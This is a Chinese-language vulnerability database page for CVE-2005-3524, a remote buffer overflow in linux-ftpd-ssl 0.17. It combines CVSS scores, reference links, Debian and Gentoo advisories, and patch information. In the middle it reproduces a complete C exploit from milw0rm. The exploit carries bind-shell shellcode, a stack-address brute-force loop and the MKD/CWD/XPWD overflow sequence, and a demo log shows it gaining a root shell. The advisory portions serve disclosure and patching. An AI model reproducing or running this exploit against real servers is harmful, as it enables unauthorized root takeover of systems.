CVE-2005-3524
CVSS10.0
发布时间 :2005-11-06 21:02:00
修订时间 :2011-03-07 21:26:43
NMCOEPS    

[原文]Buffer overflow in the SSL-ready version of linux-ftpd (linux-ftpd-ssl) 0.17 allows remote attackers to execute arbitrary code by creating a long directory name, then executing the XPWD command.


[CNNVD]Linux-FTPD-SSL FTP Server远程缓冲区溢出漏洞(CNNVD-200511-142)

        linux-ftpd-ssl是一款支持加密的FTP server。
        linux-ftpd-ssl软件包中存在远程溢出漏洞,恶意服务器可能利用此漏洞在主机上执行任意指令。恶意服务器生成的超长响应命令可能会覆盖栈缓冲区。拥有创建可通过FTP访问目录的攻击者可以利用这个漏洞以root用户权限在本地机器上执行任意代码。

- CVSS (基础分值)

CVSS分值: 10 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3524
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-3524
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200511-142
(官方数据源) CNNVD

- 其它链接及资源

http://www.vupen.com/english/advisories/2005/2330
(UNKNOWN)  VUPEN  ADV-2005-2330
http://seclists.org/lists/fulldisclosure/2005/Nov/0140.html
(UNKNOWN)  FULLDISC  20051105 linux-ftpd-ssl 0.17 warez
http://xforce.iss.net/xforce/xfdb/23016
(UNKNOWN)  XF  Linux-ftpd-ssl-vsprintf-bo(23016)
http://www.securityfocus.com/bid/15343
(UNKNOWN)  BID  15343
http://www.osvdb.org/20530
(UNKNOWN)  OSVDB  20530
http://www.debian.org/security/2005/dsa-896
(UNKNOWN)  DEBIAN  DSA-896
http://secunia.com/advisories/17586
(UNKNOWN)  SECUNIA  17586
http://secunia.com/advisories/17529
(UNKNOWN)  SECUNIA  17529
http://secunia.com/advisories/17465
(UNKNOWN)  SECUNIA  17465

- 漏洞信息

Linux-FTPD-SSL FTP Server远程缓冲区溢出漏洞
危急 缓冲区溢出
2005-11-06 00:00:00 2005-11-10 00:00:00
远程  
        linux-ftpd-ssl是一款支持加密的FTP server。
        linux-ftpd-ssl软件包中存在远程溢出漏洞,恶意服务器可能利用此漏洞在主机上执行任意指令。恶意服务器生成的超长响应命令可能会覆盖栈缓冲区。拥有创建可通过FTP访问目录的攻击者可以利用这个漏洞以root用户权限在本地机器上执行任意代码。

- 公告与补丁

        目前厂商已经发布了升级补丁以修复此安全问题,补丁获取链接:
        http://www.gentoo.org/security/en/glsa/glsa-200511-11.xml

- 漏洞信息 (1295)

linux-ftpd-ssl 0.17 (MKD/CWD) Remote Root Exploit (EDBID:1295)
linux remote
2005-11-05 Verified
21 Kingcope
N/A [点击下载]
/*Oct2005 VER2*/
/**********************************************************/
/** lnxFTPDssl_warez.c                                   **/
/** linux-ftpd-ssl 0.17 remote r00t exploit by kcope     **/
/** for all of those who installed the ssl ready version **/
/** of linux-ftpd to be more "secure"                    **/
/**                                                      **/
/** be aware of the buffer overflows,                    **/
/** the code is strong cryto                             **/
/**********************************************************/
/** thanx blackzero,revoguard,wY!,net_spy                **/
/** Confidential. Keep Private!                          **/
/**********************************************************/
/**
C:\Dokumente und Einstellungen\Administrator\Desktop>telnet 192.168.2.9 21
220 localhost.localdomain FTP server (Version 6.4/OpenBSD/Linux-ftpd-0.17) ready.
AUTH SSL
234 AUTH SSL OK.
;PpPpPPpPPPpPPPPpPppPPPPPpPpPPPpPPpPpPPpPPPpPPPPpPppPPPPPpPpPPPpP
C:\Dokumente und Einstellungen\Administrator\Desktop>lnxFTPDssl_warez.exe 192.168.2.9 kcope password
lnxFTPDssl_warez.c
linux-ftpd-ssl 0.17 remote r00t exploit by kcope

connecting to 192.168.2.9:21... ok.
OK - STARTING ATTACK
+++ USING STACK ADDRESS 0xbfffcc03 +++
+++ USING STACK ADDRESS 0xbfffcc13 +++
+++ USING STACK ADDRESS 0xbfffcc23 +++
+++ USING STACK ADDRESS 0xbfffcc33 +++
+++ USING STACK ADDRESS 0xbfffcc43 +++
+++ USING STACK ADDRESS 0xbfffcc53 +++
+++ USING STACK ADDRESS 0xbfffcc63 +++
+++ USING STACK ADDRESS 0xbfffcc73 +++
+++ USING STACK ADDRESS 0xbfffcc83 +++
+++ USING STACK ADDRESS 0xbfffcc93 +++
+++ USING STACK ADDRESS 0xbfffcca3 +++
+++ USING STACK ADDRESS 0xbfffccb3 +++
+++ USING STACK ADDRESS 0xbfffccc3 +++
+++ USING STACK ADDRESS 0xbfffccd3 +++
+++ USING STACK ADDRESS 0xbfffcce3 +++
+++ USING STACK ADDRESS 0xbfffccf3 +++
+++ USING STACK ADDRESS 0xbfffcd03 +++
+++ USING STACK ADDRESS 0xbfffcd13 +++
+++ USING STACK ADDRESS 0xbfffcd23 +++
+++ USING STACK ADDRESS 0xbfffcd33 +++
+++ USING STACK ADDRESS 0xbfffcd43 +++
+++ USING STACK ADDRESS 0xbfffcd53 +++
+++ USING STACK ADDRESS 0xbfffcd63 +++
+++ USING STACK ADDRESS 0xbfffcd73 +++
+++ USING STACK ADDRESS 0xbfffcd83 +++
+++ USING STACK ADDRESS 0xbfffcd93 +++
+++ USING STACK ADDRESS 0xbfffcda3 +++
+++ USING STACK ADDRESS 0xbfffcdb3 +++
+++ USING STACK ADDRESS 0xbfffcdc3 +++
+++ USING STACK ADDRESS 0xbfffcdd3 +++
+++ USING STACK ADDRESS 0xbfffcde3 +++
+++ USING STACK ADDRESS 0xbfffcdf3 +++
+++ USING STACK ADDRESS 0xbfffce03 +++
+++ USING STACK ADDRESS 0xbfffce13 +++
+++ USING STACK ADDRESS 0xbfffce23 +++
+++ USING STACK ADDRESS 0xbfffce33 +++
+++ USING STACK ADDRESS 0xbfffce43 +++
+++ USING STACK ADDRESS 0xbfffce53 +++
+++ USING STACK ADDRESS 0xbfffce63 +++
+++ USING STACK ADDRESS 0xbfffce73 +++
+++ USING STACK ADDRESS 0xbfffce83 +++
+++ USING STACK ADDRESS 0xbfffce93 +++
+++ USING STACK ADDRESS 0xbfffcea3 +++
+++ USING STACK ADDRESS 0xbfffceb3 +++
+++ USING STACK ADDRESS 0xbfffcec3 +++

Let's get ready to rumble!
id
uid=0(root) gid=0(root) egid=1000(kcope) groups=1000(kcope),20(dialout),24(cdrom
),25(floppy),29(audio),44(video),46(plugdev)
uname -a
Linux debian 2.4.27-2-386 #1 Mon May 16 16:47:51 JST 2005 i686 GNU/Linux

**/
// Tested on    Linux 2.4.18-14 Redhat 8.0
//              Linux 2.2.20-idepci Debian GNU 3.0
//              Linux 2.4.27-2-386 Debian GNU 3.1
// CHECK VER3 FOR MORE SUPPORT!!!
// ***KEEP IT ULTRA PRIV8***

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/time.h>
#include <unistd.h>
#include <netdb.h>
#include <errno.h>

#define BUF_SIZ 4096
#define PORT 21
#define BINDPORT 30464
#define STACK_START 0xbfffcc03
#define STACK_END 0xbffff4f0

/*my shellcode*/
/*setreuid,chroot break,
bind to port 30464, 0xff is double*/
unsigned char lnx_bind[] =
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\xEB\x70\x31\xC0\x31\xDB\x31\xC9"
"\xB0\x46\xCD\x80\x5E\x90\xB8\xBE"
"\xff\xff\xff\xff\xff\xff\xF7\xD0"
"\x89\x06\xB0\x27\x8D\x1E\xFE\xC5"
"\xB1\xED\xCD\x80\x31\xC0\x8D\x1E"
"\xB0\x3D\xCD\x80\x66\xB9\xff\xff"
"\x03\xBB\xD2\xD1\xD0\xff\xff\xF7"
"\xDB\x89\x1E\x8D\x1E\xB0\x0C\xCD"
"\x80\xE2\xEF\xB8\xD1\xff\xff\xff"
"\xff\xff\xff\xF7\xD0\x89\x06\xB0"
"\x3D\x8D\x1E\xCD\x80\x31\xC0\x31"
"\xDB\x89\xF1\xB0\x02\x89\x06\xB0"
"\x01\x89\x46\x04\xB0\x06\x89\x46"
"\x08\xB0\x66\x43\xCD\x80\x89\xF1"
"\x89\x06\xB0\x02\x66\x89\x46\x0C"
"\xEB\x04\xEB\x74\xEB\x77\xB0\x77"
"\x66\x89\x46\x0E\x8D\x46\x0C\x89"
"\x46\x04\x31\xC0\x89\x46\x10\xB0"
"\x10\x89\x46\x08\xB0\x66\x43\xCD"
"\x80\xB0\x01\x89\x46\x04\xB0\x66"
"\xB3\x04\xCD\x80\x31\xC0\x89\x46"
"\x04\x89\x46\x08\xB0\x66\xB3\x05"
"\xCD\x80\x88\xC3\xB0\x3F\x31\xC9"
"\xCD\x80\xB0\x3F\xB1\x01\xCD\x80"
"\xB0\x3F\xB1\x02\xCD\x80\xB8\xD0"
"\x9D\x96\x91\xF7\xD0\x89\x06\xB8"
"\xD0\x8C\x97\xD0\xF7\xD0\x89\x46"
"\x04\x31\xC0\x88\x46\x07\x89\x76"
"\x08\x89\x46\x0C\xB0\x0B\x89\xF3"
"\x8D\x4E\x08\x8D\x56\x0C\xCD\x80"
"\xE8\x15\xff\xff\xff\xff\xff\xff";

long ficken() {
       printf("lnxFTPDssl_warez.c\nlinux-ftpd-ssl 0.17 remote r00t exploit by kcope\n\n");
       return 0xc0debabe;
}

void usage(char **argv) {
       printf("Insufficient parameters given.\n");
       printf("Usage: %s <remotehost> <user> <pass> [writeable directory]\n", argv[0]);
       exit(0);
}

void _recv(int sock, char *buf) {
       int bytes=recv(sock, buf, BUFSIZ, 0);
       if (bytes < 0) {
               perror("read() failed");
               exit(1);
       }
}

void attack(int sock, unsigned long ret, char *pad) {
       int i,k;
       char *x=(char*)malloc(1024);
       char *bufm=(char*)malloc(1024);
       char *bufc=(char*)malloc(1024);
       char *rbuf=(char*)malloc(BUFSIZ+10);
       char *nops=(char*)malloc(1024);
       unsigned char a,b,c,d;

       memset(nops,0,1024);
       memset(nops,0x90,255);
       memset(x,0,1024);
       for (i=0,k=0;i<60;i++) {
               a=(ret >> 24) & 0xff;
               b=(ret >> 16) & 0xff;
               c=(ret >> 8) & 0xff;
               d=(ret) & 0xff;

               if (d==255) {
                       x[k]=d;
                       x[++k]=255;
               } else {
                       x[k]=d;
               }

               if (c==255) {
                       x[k+1]=c;
                       x[++k+1]=255;
               } else {
                       x[k+1]=c;
               }

               if (b==255) {
                       x[k+2]=b;
                       x[++k+2]=255;
               } else {
                       x[k+2]=b;
               }

               if (a==255) {
                       x[k+3]=a;
                       x[++k+3]=255;
               } else {
                       x[k+3]=a;
               }

               k+=4;
       }

       snprintf(bufm, 1000, "MKD %s%s\r\n", pad, x); // 1x'A' redhat 8.0 / 2x'A' debian gnu 3.0 / 3x'A' debian gnu 3.1
       snprintf(bufc, 1000, "CWD %s%s\r\n", pad, x);
       for (i=0; i<11; i++) {
               send(sock, bufm, strlen(bufm), 0);
               recv(sock, rbuf, BUFSIZ, 0);
               send(sock, bufc, strlen(bufc), 0);
               recv(sock, rbuf, BUFSIZ, 0);
       }

       for (i=0; i<2; i++) {
               snprintf(bufm, 1000, "MKD %s\r\n", lnx_bind);
               snprintf(bufc, 1000, "CWD %s\r\n", lnx_bind);
               send(sock, bufm, strlen(bufm), 0);
               recv(sock, rbuf, BUFSIZ, 0);
               send(sock, bufc, strlen(bufc), 0);
               recv(sock, rbuf, BUFSIZ, 0);

               snprintf(bufm, 1000, "MKD %s\r\n", nops);
               snprintf(bufc, 1000, "CWD %s\r\n", nops);
               send(sock, bufm, strlen(bufm), 0);
               recv(sock, rbuf, BUFSIZ, 0);
               send(sock, bufc, strlen(bufc), 0);
               recv(sock, rbuf, BUFSIZ, 0);
       }

       send(sock, "XPWD\r\n", strlen("XPWD\r\n"), 0);

       free(bufm);
       free(bufc);
       free(x);
       free(rbuf);
}

int do_remote_shell(int sockfd)
{
       while(1)
        {
           fd_set fds;
           FD_ZERO(&fds);
           FD_SET(0,&fds);
           FD_SET(sockfd,&fds);
           if(select(FD_SETSIZE,&fds,NULL,NULL,NULL))
           {
              int cnt;
              char buf[1024];
              if(FD_ISSET(0,&fds))
              {
                 if((cnt=read(0,buf,1024))<1)
                 {
                    if(errno==EWOULDBLOCK||errno==EAGAIN)
                      continue;
                    else
                      break;
                 }
                 write(sockfd,buf,cnt);
              }
              if(FD_ISSET(sockfd,&fds))
              {
                 if((cnt=read(sockfd,buf,1024))<1)
                 {
                      if(errno==EWOULDBLOCK||errno==EAGAIN)
                        continue;
                      else
                        break;
                 }
                 write(1,buf,cnt);
              }
           }
        }
}

int do_connect (char *remotehost, int port) {
       struct hostent *host;
       struct sockaddr_in addr;
       int s;

       if (!inet_aton(remotehost, &addr.sin_addr))
       {
               host = gethostbyname(remotehost);
               if (!host)
               {
                       perror("gethostbyname() failed");
                       return -1;
               }
               addr.sin_addr = *(struct in_addr*)host->h_addr;
       }

       s = socket(PF_INET, SOCK_STREAM, 0);
       if (s == -1)
       {
               perror("socket() failed");
               return -1;
       }

       addr.sin_port = htons(port);
       addr.sin_family = AF_INET;

       if (connect(s, (struct sockaddr*)&addr, sizeof(addr)) == -1)
       {
               if (port == PORT) perror("connect() failed");
               return -1;
       }

       return s;
}

void do_login(int s, char *buf, char *sendbuf, char *user, char *pass) {
       memset(buf, 0, sizeof(buf));
       memset(sendbuf, 0, sizeof(sendbuf));
       do {
               _recv(s, buf);
       } while (strstr(buf, "220 ") == NULL);
       snprintf(sendbuf, BUFSIZ, "USER %s\r\n", user);
       send(s, sendbuf, strlen(sendbuf), 0);
       do {
               _recv(s, buf);
       } while (strstr(buf, "331 ") == NULL);

       snprintf(sendbuf, BUFSIZ, "PASS %s\r\n", pass);
       send(s, sendbuf, strlen(sendbuf), 0);
       do {
       _recv(s, buf);
       } while (strstr(buf, "230 ") == NULL);
}

int main(int argc, char **argv) {
       char remotehost[255];
       char user[255];
       char pass[255];
       char pad[10];
       char *buf,*sendbuf;
       int stackaddr=STACK_START;
       int s,sr00t,i;

       ficken();
       if (argc < 4)
               usage(argv);

       strncpy(remotehost, argv[1], sizeof(remotehost));
       remotehost[sizeof(remotehost)-1]=0;
       strncpy(user, argv[2], sizeof(user));
       user[sizeof(user)-1]=0;
       strncpy(pass, argv[3], sizeof(pass));
       pass[sizeof(pass)-1]=0;

       printf("connecting to %s:%d...", remotehost, PORT);
       fflush(stdout);

       s=do_connect(remotehost, PORT);

       puts(" ok.");
       buf=(char*)malloc(BUFSIZ+10);
       sendbuf=(char*)malloc(BUFSIZ+10);
       do_login(s, buf, sendbuf, user, pass);

       if (strstr(buf, "230")!=NULL) {
               printf("OK - STARTING ATTACK\n");
               i=0;
               while (stackaddr <= STACK_END) {
                       printf("+++ USING STACK ADDRESS 0x%.08x +++\n", stackaddr);

                       sleep(1);

                       if (i==1) {
                               strcpy(pad, "A");
                       }

                       if (i==2) {
                               strcpy(pad, "AA");
                       }

                       if (i==3) {
                               strcpy(pad, "AAA");
                               i=0;
                       }

                       attack(s, stackaddr, pad);
                       close(s);
                       s=do_connect(remotehost, PORT);
                       do_login(s, buf, sendbuf, user, pass);

                       if (argv[4] != NULL) {
                               snprintf(sendbuf, BUFSIZ, "CWD %s\r\n", argv[4]);
                               send(s, sendbuf, strlen(sendbuf), 0);
                               recv(s, buf, BUFSIZ, 0);
                       }

                       if((sr00t=do_connect(remotehost, BINDPORT)) > 0) {
                               /* XXX Remote r00t */
                               printf("\nLet's get ready to rumble!\n");
                               do_remote_shell(sr00t);
                               exit(0);
                       }

                       stackaddr+=16;
                       i++;
               }
       } else {
               printf("\nLogin incorrect\n");
               exit(1);
       }

       free(buf);
       free(sendbuf);
       return 0;
}

// milw0rm.com [2005-11-05]
		

- 漏洞信息 (F41648)

Debian Linux Security Advisory 896-1 (PacketStormID:F41648)
2005-11-20 00:00:00
Debian  security.debian.org
advisory,overflow,arbitrary
linux,bsd,debian
CVE-2005-3524
[点击下载]

Debian Security Advisory DSA 896-1 - A buffer overflow has been discovered in ftpd-ssl, a simple BSD FTP server with SSL encryption support, that could lead to the execution of arbitrary code.

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

- --------------------------------------------------------------------------
Debian Security Advisory DSA 896-1                     security@debian.org
http://www.debian.org/security/                             Martin Schulze
November 15th, 2005                     http://www.debian.org/security/faq
- --------------------------------------------------------------------------

Package        : linux-ftpd-ssl
Vulnerability  : buffer overflow
Problem type   : remote
Debian-specific: no
CVE ID         : CVE-2005-3524
Debian Bug     : 339074

A buffer overflow has been discovered in ftpd-ssl, a simple BSD FTP
server with SSL encryption support, that could lead to the execution
of arbitrary code.

The old stable distribution (woody) does not contain linux-ftpd-ssl
packages.

For the stable distribution (sarge) this problem has been fixed in
version 0.17.18+0.3-3sarge1

For the unstable distribution (sid) this problem will be fixed soon.

We recommend that you upgrade your ftpd-ssl package.


Upgrade Instructions
- --------------------

wget url
        will fetch the file for you
dpkg -i file.deb
        will install the referenced file.

If you are using the apt-get package manager, use the line for
sources.list as given below:

apt-get update
        will update the internal database
apt-get upgrade
        will install corrected packages

You may use an automated update by adding the resources from the
footer to the proper configuration.


Debian GNU/Linux 3.1 alias sarge
- --------------------------------

  Source archives:

    http://security.debian.org/pool/updates/main/l/linux-ftpd-ssl/linux-ftpd-ssl_0.17.18+0.3-3sarge1.dsc
      Size/MD5 checksum:      640 f1999dff20d8e5c7bebbdf3ae08d9fbc
    http://security.debian.org/pool/updates/main/l/linux-ftpd-ssl/linux-ftpd-ssl_0.17.18+0.3-3sarge1.diff.gz
      Size/MD5 checksum:     5157 bb183553291a97a7505dd3eba1ee28aa
    http://security.debian.org/pool/updates/main/l/linux-ftpd-ssl/linux-ftpd-ssl_0.17.18+0.3.orig.tar.gz
      Size/MD5 checksum:    61388 525f77ad02c5593fa4c5cad9abc337b7

  Alpha architecture:

    http://security.debian.org/pool/updates/main/l/linux-ftpd-ssl/ftpd-ssl_0.17.18+0.3-3sarge1_alpha.deb
      Size/MD5 checksum:    55448 5e4b657d47730305099a47ec2d8c84df

  AMD64 architecture:

    http://security.debian.org/pool/updates/main/l/linux-ftpd-ssl/ftpd-ssl_0.17.18+0.3-3sarge1_amd64.deb
      Size/MD5 checksum:    50938 87ab0d101dc0e1c14d38888231abf11f

  ARM architecture:

    http://security.debian.org/pool/updates/main/l/linux-ftpd-ssl/ftpd-ssl_0.17.18+0.3-3sarge1_arm.deb
      Size/MD5 checksum:    49478 d964f72a931cee99c560c1f348b9f733

  Intel IA-32 architecture:

    http://security.debian.org/pool/updates/main/l/linux-ftpd-ssl/ftpd-ssl_0.17.18+0.3-3sarge1_i386.deb
      Size/MD5 checksum:    48598 6092dcf5345c383959b9b8b3a9d9b65f

  Intel IA-64 architecture:

    http://security.debian.org/pool/updates/main/l/linux-ftpd-ssl/ftpd-ssl_0.17.18+0.3-3sarge1_ia64.deb
      Size/MD5 checksum:    65312 1f80c1ef53e6151a8d7df0ed0f2160cb

  HP Precision architecture:

    http://security.debian.org/pool/updates/main/l/linux-ftpd-ssl/ftpd-ssl_0.17.18+0.3-3sarge1_hppa.deb
      Size/MD5 checksum:    53384 a247343d426eb9ecff838905432943d8

  Motorola 680x0 architecture:

    http://security.debian.org/pool/updates/main/l/linux-ftpd-ssl/ftpd-ssl_0.17.18+0.3-3sarge1_m68k.deb
      Size/MD5 checksum:    46112 bedd079aca908ad7f31f7fb8fe0ecab7

  Big endian MIPS architecture:

    http://security.debian.org/pool/updates/main/l/linux-ftpd-ssl/ftpd-ssl_0.17.18+0.3-3sarge1_mips.deb
      Size/MD5 checksum:    52262 fe07040d4d3db4fe2cd4e02c873131ee

  Little endian MIPS architecture:

    http://security.debian.org/pool/updates/main/l/linux-ftpd-ssl/ftpd-ssl_0.17.18+0.3-3sarge1_mipsel.deb
      Size/MD5 checksum:    52074 5b1e112532d8b07ab278d036515d85d3

  PowerPC architecture:

    http://security.debian.org/pool/updates/main/l/linux-ftpd-ssl/ftpd-ssl_0.17.18+0.3-3sarge1_powerpc.deb
      Size/MD5 checksum:    52050 bd09d568c4e634670c698dbe33cd4775

  IBM S/390 architecture:

    http://security.debian.org/pool/updates/main/l/linux-ftpd-ssl/ftpd-ssl_0.17.18+0.3-3sarge1_s390.deb
      Size/MD5 checksum:    51862 d4cb84830ca8a631ed5e08344e286b18

  Sun Sparc architecture:

    http://security.debian.org/pool/updates/main/l/linux-ftpd-ssl/ftpd-ssl_0.17.18+0.3-3sarge1_sparc.deb
      Size/MD5 checksum:    48822 d47e7a161940d64f82a7edb87df7ff3e


  These files will probably be moved into the stable distribution on
  its next update.

- ---------------------------------------------------------------------------------
For apt-get: deb http://security.debian.org/ stable/updates main
For dpkg-ftp: ftp://security.debian.org/debian-security dists/stable/updates/main
Mailing list: debian-security-announce@lists.debian.org
Package info: `apt-cache show <pkg>' and http://packages.debian.org/<pkg>

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.2 (GNU/Linux)

iD8DBQFDeYBNW5ql+IAeqTIRArSwAKCe8zIfwYxhHJfz2t1cOwzzMV6ZkgCfateo
Z5ly8y1GYmM/ndQxGGxJiFM=
=4CJ2
-----END PGP SIGNATURE-----

    

- 漏洞信息

20530
Linux-ftpd-ssl FTP Server Response Remote Overflow
Remote / Network Access Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

A remote overflow exists in linux-ftpd-ssl. The SSL code fails to validate input to the vsprintf() function resulting in a stack-based buffer overflow. With a specially crafted request which generates more than 2048 bytes of response from the server, a remote attacker can cause arbitrary code execution resulting in a loss of integrity.

- 时间线

2005-11-04 Unknow
2005-11-04 Unknow

- 解决方案

Currently, there are no known workarounds or upgrades to correct this issue. However, James Longstreet has released an unofficial patch to address this vulnerability.

- 相关参考

- 漏洞作者

- 漏洞信息

Linux-FTPD-SSL FTP Server Remote Buffer Overflow Vulnerability
Boundary Condition Error 15343
Yes No
2005-11-07 12:00:00 2005-11-07 12:00:00
This issue was discovered by kcope.

- 受影响的程序版本

Gentoo Linux
Debian Linux 3.1 sparc
Debian Linux 3.1 s/390
Debian Linux 3.1 ppc
Debian Linux 3.1 mipsel
Debian Linux 3.1 mips
Debian Linux 3.1 m68k
Debian Linux 3.1 ia-64
Debian Linux 3.1 ia-32
Debian Linux 3.1 hppa
Debian Linux 3.1 arm
Debian Linux 3.1 amd64
Debian Linux 3.1 alpha
Debian Linux 3.1
Christoph Martin linux-ftpd-ssl 0.17

- 漏洞讨论

Linux-FTPD-SSL FTP Server is susceptible to a remote buffer overflow vulnerability. This issue is due to a failure of the application to properly bounds check user-supplied input data prior to copying it to an insufficiently sized memory buffer.

This vulnerability allows remote attackers to execute arbitrary machine code in the context of the vulnerable server application, typically with superuser privileges.

- 漏洞利用

An exploit has been provided by kcope:

- 解决方案

Gentoo has released advisory GLSA 200511-11 and fixes to address this issue. To obtain fixes, execute the following commands:

emerge --sync
emerge --ask --oneshot --verbose ">=net-ftp/ftpd-0.17-r3"

Debian Linux has released security advisory DSA 896-1 addressing this issue. Users are advised to see the referenced advisory for details on obtaining and applying the appropriate updates.

--
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com <mailto:vuldb@securityfocus.com>.


Christoph Martin linux-ftpd-ssl 0.17

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站